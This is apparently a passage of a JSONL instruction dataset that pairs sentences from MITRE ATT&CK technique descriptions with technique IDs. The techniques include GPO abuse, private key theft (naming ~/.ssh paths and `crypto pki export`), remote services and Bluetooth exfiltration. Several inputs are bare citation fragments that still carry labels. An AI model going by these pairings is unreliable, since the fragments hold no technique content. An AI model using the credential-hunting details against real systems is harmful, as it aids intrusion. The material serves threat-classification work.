a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs) ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right) ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may enumerate information about browsers to learn more about compromised environments.", "output": "T1217", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may enumerate information about browsers to learn more about compromised environments. ### Response: T1217."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)\n\nBrowser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.", "output": "T1217", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)\n\nBrowser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser. ### Response: T1217."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation:", "output": "T1217", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: ### Response: T1217."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Chrome Roaming Profiles)", "output": "T1217", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Chrome Roaming Profiles) ### Response: T1217."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search compromised systems to find and obtain insecurely stored credentials.", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search compromised systems to find and obtain insecurely stored credentials. ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)). ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials.", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation:", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows.", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia) ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation:", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation: ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Primary Refresh Token)", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Primary Refresh Token) ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys)", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, lease, or rent infrastructure that can be used during targeting. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A wide variety of infrastructure exists for hosting and orchestrating adversary operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A wide variety of infrastructure exists for hosting and orchestrating adversary operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation:", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT29 Microsoft 365 2022)", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT29 Microsoft 365 2022) ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, lease, or rent physical servers\u00a0that can be used during targeting.", "output": "T1583.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, lease, or rent physical servers\u00a0that can be used during targeting. ### Response: T1583.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of servers allows an adversary to stage, launch, and execute an operation.", "output": "T1583.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of servers allows an adversary to stage, launch, and execute an operation. ### Response: T1583.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.", "output": "T1583.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. ### Response: T1583.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use web servers to support support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.", "output": "T1583.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use web servers to support support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations. ### Response: T1583.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.", "output": "T1583.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. ### Response: T1583.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure.", "output": "T1583.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. ### Response: T1583.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)", "output": "T1583.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet) ### Response: T1583.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In an enterprise environment, servers and workstations can be organized into domains.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In an enterprise environment, servers and workstations can be organized into domains. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Management MDM macOS)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Management MDM macOS)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Remote Desktop Admin Guide 3.3)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Remote Desktop Admin Guide 3.3) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Lockboxx ARD 2019)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Lockboxx ARD 2019)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM).", "output": "T1021.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). ### Response: T1021.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014)", "output": "T1021.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) ### Response: T1021.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "WinRM  can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)", "output": "T1021.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: WinRM  can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI) ### Response: T1021.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel.", "output": "T1011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. ### Response: T1011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.", "output": "T1011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. ### Response: T1011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", "output": "T1011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. ### Response: T1011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel.", "output": "T1011.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. ### Response: T1011.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.", "output": "T1011.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel. ### Response: T1011.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose to do this if they have sufficient access and proximity.", "output": "T1011.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose to do this if they have sufficient access and proximity. ### Response: T1011.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", "output": "T1011.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. ### Response: T1011.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may abuse inactive accounts: for 